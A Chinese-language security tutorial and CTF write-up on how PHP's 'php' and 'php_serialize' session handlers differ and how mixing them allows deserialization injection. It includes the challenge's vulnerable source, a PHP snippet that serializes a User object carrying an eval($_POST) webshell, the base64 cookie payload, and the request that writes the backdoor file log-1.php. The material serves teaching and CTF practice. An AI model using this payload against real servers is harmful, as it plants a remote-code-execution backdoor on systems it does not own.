本文為合天網安實驗室原創,轉載請注明出處!
PHP中session有哪些存儲方式?
根據官方文檔我們可以看到,一共有三種存儲方式:PHP序列化格式、PHP內部格式以及WDDX。

如果不使用ini_set設置相關session存儲方式,在默認情況下就使用php,也就是php內部格式。
本篇文章僅討論PHP序列化格式以及php默認處理器這兩種存儲方式,不探討WDDX的存儲方式。
還有一種是php_binary的格式,本文也不做探討,這里就列出在不同模式下的存儲方式。
php_serialize |
經過serialize()函數序列化數組 |
php |
鍵名+豎線+經過serialize()函數處理的值 |
php_binary |
鍵名的長度對應的ascii字符+鍵名+serialize()函數序列化的值 |
php默認處理器與php序列化存儲方式有哪些差異?
php默認處理器
首先我們使用php默認處理器,初始化session,並給session賦值,實驗代碼如下:
<?php //ini_set("session.serialize_handler","php"); session_start(); $_SESSION['tt'] = "Lxxx";
訪問該網頁后我們可以看到以下內容:

這里的信息量有點大,我們逐個分析:
- 首先訪問該網頁后,在Cookie中會新建一個值,鍵名為PHPSESSID,鍵值為一串隨機的字符串,其中鍵名是由session.name決定的,如果不設置,默認為PHPSESSID
- 新建了一個session之后,服務器會將會話信息存儲在tmp目錄中,文件名為PHPSESSID_<value>,其中value的值即為瀏覽器中PHPSESSID的值
- 在這個文件中,會將session信息分為兩部分存儲,一個是服務器代碼中設置session的鍵名,另一個為session的鍵值,中間用豎線|隔開
php序列化處理器
同樣的,我們還是用上方的代碼,不過將session存儲的方式修改為php序列化,代碼如下:
<?php ini_set("session.serialize_handler","php_serialize"); session_start(); $_SESSION['tt'] = "Lxxx";
得到的結果如下:

可以看到,與php默認處理器唯一不同點就在於:存儲的內容變為了序列化之后的結果。
那么如果將這兩個處理器結合起來,會產生什么安全問題呢?
session存儲中可能產生的安全問題
由於PHP默認情況下使用的session存儲方式為PHP默認處理器,即存儲的內容用豎線|進行分割,那么開發者在開發的時候,如果沒有統一好存儲的方式,比如在某個頁面中使用PHP默認處理器操作session,但是在其他頁面用PHP序列化操作session,如果在這個過程中有數據的交換,就很有可能存在反序列化注入問題。
光說可能有些抽象,接下來使用一道CTF賽題來闡述session存儲中可能存在的安全問題。
用一道CTF題闡述session的安全問題
首先呢,打開題目:

乍一眼看是登錄頁面,可能是SQL注入有關,但是經過我們掃描后,存在www.zip源代碼泄露。在www.zip中存在以下文件:
相關代碼如下:(有些做了省略)
index.php
<?php if(isset($_SESSION['limit'])){ $_SESSION['limti']>5?die("登陸失敗次數超過限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']); $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1); }else{ setcookie("limit",base64_encode('1')); $_SESSION['limit']= 1; } ?>
inc.php
<?php ini_set('session.serialize_handler', 'php'); class User{ public $username; public $password; public $status; function __construct($username,$password){ $this->username = $username; $this->password = $password; } function setStatus($s){ $this->status=$s; } function __destruct(){ file_put_contents("log-".$this->username, "使用".$this->password."登陸".($this->status?"成功":"失敗")."----".date_create()->format('Y-m-d H:i:s')); } }
check.php
<?php require_once 'inc/inc.php'; $GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']); if($GET){ $data= $db->get('admin', ['id', 'UserName0' ],[ "AND"=>[ "UserName0[=]"=>$GET['u'], "PassWord1[=]"=>$GET['pass'] //密碼必須為128位大小寫字母+數字+特殊符號,防止爆破 ] ]); if($data['id']){ //登陸成功取消次數累計 $_SESSION['limit']= 0; echo json_encode(array("success","msg"=>"歡迎您".$data['UserName0'])); }else{ //登陸失敗累計次數加1 $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1); echo json_encode(array("error","msg"=>"登陸失敗")); } }
這一道題,經過初步審計之后,我們可以發現三個比較重要的地方:
- 首先在index.php代碼中,有以下代碼$_SESSION['limti']>5?die("登陸失敗次數超過限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);這一行代碼看上去有登錄失敗次數的限制,但是由於題目中limit打成了limti,所以,實際上這一行代碼並不影響我們做題。
- 在inc.php中,存在以下代碼:ini_set('session.serialize_handler', 'php');前面我們提到,默認的PHP對於session的處理方式就是php,但是這里又通過ini_set來設置處理方式是php,由此我們可以大膽假設,這題的環境,默認的session處理方式為php序列化
- 同樣還是在inc.php頁面中,有以下代碼:function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陸".($this->status?"成功":"失敗")."----".date_create()->format('Y-m-d H:i:s'));
}在這一個地方,存在一個文件寫入的漏洞,其中文件名以及寫入的內容都可控。
經過初步審計之后,我們可以嘗試使用將User類序列化后的字符寫入limit中,當其他頁面調用limit的時候,使用的是php序列化的處理器,這時候php就會對User類進行反序列化,最終寫入我們的shell
所以我們構造一個User類,寫入相關的shell,並且序列化之后添加一個豎線|,最后進行base64編碼。
這里需要添加豎線|的原因是,在inc.php頁面中使用了PHP的處理器,而在其他地方使用“默認”的PHP序列化處理器。
構造對象如下:
<?php class User{ public $username = "1.php"; public $password = '<?php eval($_POST["a"]);?>'; } $a = new User(); echo base64_encode("|".serialize($a));; ?>
得到結果:
fE86NDoiVXNlciI6Mjp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czoyNjoiPD9waHAgZXZhbCgkX1BPU1RbImEiXSk7Pz4iO30=
首先訪問index.php建立會話,然后將這一串傳入cookie中的limit

再帶參數訪問check.php
check.php?u=123&pass=456
訪問之后,就會在目錄下生成log-1.php的后門文件,連接密碼為a,即可成功getshell。
